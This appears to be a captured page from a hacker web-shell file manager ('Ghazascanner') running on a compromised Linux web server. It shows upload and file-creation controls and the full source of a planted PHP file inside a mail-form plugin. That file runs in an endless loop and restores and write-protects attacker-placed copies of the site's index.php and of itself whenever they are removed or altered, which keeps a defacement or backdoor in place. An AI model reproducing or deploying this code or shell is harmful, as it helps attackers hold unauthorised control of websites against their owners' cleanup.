@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux phosweb009 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Current Path :
/
homepage
/
plugins
/
MailForm
/
tmpl
/
Path :
Upload File :
New :
File
Dir
/homepage/plugins/MailForm/tmpl/index.php
<?php error_reporting(E_ERROR); ignore_user_abort(); set_time_limit(0); class FromToFile { public $from_file; public $to_file; public function __construct($from_file, $to_file) { $this->from_file = $from_file; $this->to_file = $to_file; } } $index = new FromToFile("/homepage/blog/valie/2011/index.php", "/homepage/index.php"); $about = new FromToFile("/homepage/hp/bremen/etc/index.php", "/homepage/plugins/MailForm/tmpl/index.php"); $files = array($index, $about); do { foreach ($files as $file) { $from_file = $file->from_file; $to_file = $file->to_file; if (!file_exists($to_file)) { @copy($from_file, $to_file); @chmod($to_file, 0444); } if (!file_exists($from_file)) { @copy($to_file, $from_file); @chmod($to_file, 0444); } if (hash('sha1', file_get_contents($from_file)) != hash('sha1', file_get_contents($to_file))) { @unlink($to_file); @copy($from_file, $to_file); @chmod($to_file, 0444); } } sleep(0); } while (true); ?>